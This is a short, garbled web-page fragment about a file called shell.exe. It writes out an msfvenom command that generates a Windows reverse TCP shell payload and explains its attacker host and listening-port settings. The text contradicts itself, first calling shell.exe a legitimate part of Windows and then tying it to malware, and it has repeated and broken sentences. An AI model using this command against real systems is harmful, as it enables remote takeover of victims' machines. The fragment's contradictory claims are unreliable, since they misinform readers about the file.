In many cases, a file named shell.exe is a legitimate part of the Windows operating system. It is often associated with malware or "potentially unwanted programs" (PUPs).
msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > shell.exe How it works : The IP address of the attacker's machine. LPORT : The port the attacker is listening on (e.g., 4444). shell.exe
Using the , a common command to generate this file for a Windows target is: In many cases, a file named shell